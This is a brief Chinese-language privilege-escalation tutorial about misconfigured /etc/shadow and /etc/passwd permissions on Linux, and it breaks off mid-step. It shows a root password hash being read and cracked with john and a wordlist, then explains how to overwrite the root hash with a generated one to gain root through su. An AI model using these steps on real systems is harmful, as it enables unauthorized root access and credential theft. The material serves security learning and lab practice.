可读的 /etc/shadow

  1. root@debian:~# ls -al /etc/shadow
  2. -rw-r--rw- 1 root shadow 837 Aug 25 2019 /etc/shadow

当 shadow文件变为其他用户可读时
任意用户就能看到加密之后的密码

root@debian:~# cat /etc/shadow
root:$6$Tb/euwmK$OXA.dwMeOAcopwBl68boTG5zi65wIHsc84OWAIye5VITLLtVlaXvRDJXET..it8r.jbrlpfZeMdwD3B0fGxJI0:17298:0:99999:7:::

使用 john 来破解密码

john --wordlist=/usr/share/wordlists/rockyou.txt pass
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
password123      (?)

可写的 /etc/shadow

root@debian:~# ls -al /etc/shadow
-rw-r--rw- 1 root shadow 837 Aug 25  2019 /etc/shadow

当 shadow文件变为其他用户可写时
任意用户就能更改密码
1、生成密码
mkpasswd -m sha-512 newpasswordhere
2、编辑该文件

3、su root
使用新的密码登陆

可写的 /etc/passwd

当passwd有写的权限时,也可以造正如 可写的/etc/shadow一样
1、生成密码
openssl passwd newpasswordhere
2、编辑文件
将 x 改为生成的密码
3、切换